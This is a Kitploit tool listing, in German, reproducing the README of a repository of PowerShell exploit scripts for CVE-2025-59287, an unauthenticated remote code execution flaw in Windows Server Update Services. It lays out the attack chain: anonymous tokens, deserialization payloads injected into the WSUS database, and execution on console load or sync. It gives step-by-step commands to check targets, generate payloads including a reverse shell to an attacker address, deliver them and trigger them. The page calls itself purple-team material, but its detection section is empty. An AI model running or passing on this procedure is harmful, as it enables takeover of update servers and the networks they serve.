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CVE-2025-59287-Exercise-Use — Skripte für Purple-Team-Übungen, die CVE-2025-59287 demonstrieren, eine nicht authentifizierte RCE in WSUS durch bösartige Deserialisierungs-Payload-Injektion in die WSUS-Datenbank. | Kitploit
Tools/GitHubGitHub/swoon69/cve-2025-59287-exercise-use
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GitHubswoon69/cve-2025-59287-exercise-use

CVE-2025-59287-Exercise-Use

Skripte für Purple-Team-Übungen, die CVE-2025-59287 demonstrieren, eine nicht authentifizierte RCE in WSUS durch bösartige Deserialisierungs-Payload-Injektion in die WSUS-Datenbank.

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2vor 6 MonatenNoch nicht geprüft

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CVE-2025-59287 — WSUS Unauthenticated RCE

Purple-Team-Übungsskripte für CVE-2025-59287, eine nicht authentifizierte Remote-Codeausführungsschwachstelle in Windows Server Update Services (WSUS).

Nur für autorisierte Nutzung. Zur Verwendung in kontrollierten Übungsumgebungen gegen Systeme, die Sie besitzen oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben.

Funktionsweise

Die Schwachstelle missbraucht anonym zugängliche WSUS-SOAP-Endpunkte, um eine bösartige Deserialisierungsnutzlast in die WSUS-Datenbank einzuschleusen. Die Nutzlast wird ausgeführt, wenn die WSUS-Verwaltungskonsole geöffnet oder eine Synchronisierung ausgelöst wird.

  1. Der WSUS-Authentifizierungsdienst stellt jedem anonymen Client ein gültiges Token aus.
  2. Das Token wird über den Client-Webdienst gegen ein Reporting-Sitzungscookie eingetauscht.
  3. Über den Reporting-Dienst wird ein bösartiges serialisiertes Objekt in die WSUS-Datenbank eingeschleust.
  4. Die Nutzlast wird ausgeführt, wenn die WSUS-Konsole geladen wird oder ein Synchronisierungsereignis ausgelöst wird.

Anforderungen

  • Windows-Angriffsbox mit PowerShell 5.1+
  • Netzwerkzugriff auf WSUS über Port 8530
  • ysoserial.net im Ordner ysoserial\Release\ platziert (siehe Einrichtung)

Repository-Struktur

root@kitploit:~
wsus-cve-2025-59287/
├── 1-check.ps1       # Verify target is vulnerable
├── 2-generate.ps1    # Generate serialized payload blob
├── 3-deliver.ps1     # Deliver payload to WSUS server
├── 4-verify.ps1      # Verify execution and clean up
├── ysoserial/        # Place ysoserial.net release here (not committed)
│   └── Release/
│       └── ysoserial.exe
└── README.md

Einrichtung

Klonen Sie das Repository oder laden Sie es herunter. Fügen Sie ysoserial.net so hinzu, dass der Pfad ysoserial\Release\ysoserial.exe entspricht.

Laden Sie ysoserial.net herunter von: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 Dies wird standardmäßig Windows Defender auslösen.

Verwendung

Führen Sie alle Skripte aus dem Repository-Stammverzeichnis aus.

1 — Überprüfen

root@kitploit:~
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"

2 — Generieren

Dateiablage (kein Listener erforderlich, zuerst empfohlen):

root@kitploit:~
.\2-generate.ps1 -Mode filedrop

Reverse Shell:

root@kitploit:~
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444

3 — Ausliefern

root@kitploit:~
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"

4 — Auslösen

Öffnen Sie auf dem WSUS-Server die Verwaltungskonsole über Start > Windows Server Update Services, oder lösen Sie eine Synchronisierung über PowerShell aus:

root@kitploit:~
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()

5 — Überprüfen und Bereinigen

Ausführung überprüfen:

root@kitploit:~
.\4-verify.ps1

Überprüfen und alle Artefakte bereinigen:

root@kitploit:~
.\4-verify.ps1 -Cleanup

Von der Angriffsbox über die Admin-Freigabe:

root@kitploit:~
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup

Entfernen Sie nach der Bereinigung den Übungscomputer aus der WSUS-Konsole unter Computer.

Erkennungsmöglichkeiten

Referenzen

  • CVE-2025-59287 — Ursprüngliche Forschung: hawktrace.com\
  • ysoserial
  • NIST
  • .NET Exploit/Blob gen
  • tecxx
  • mrk336
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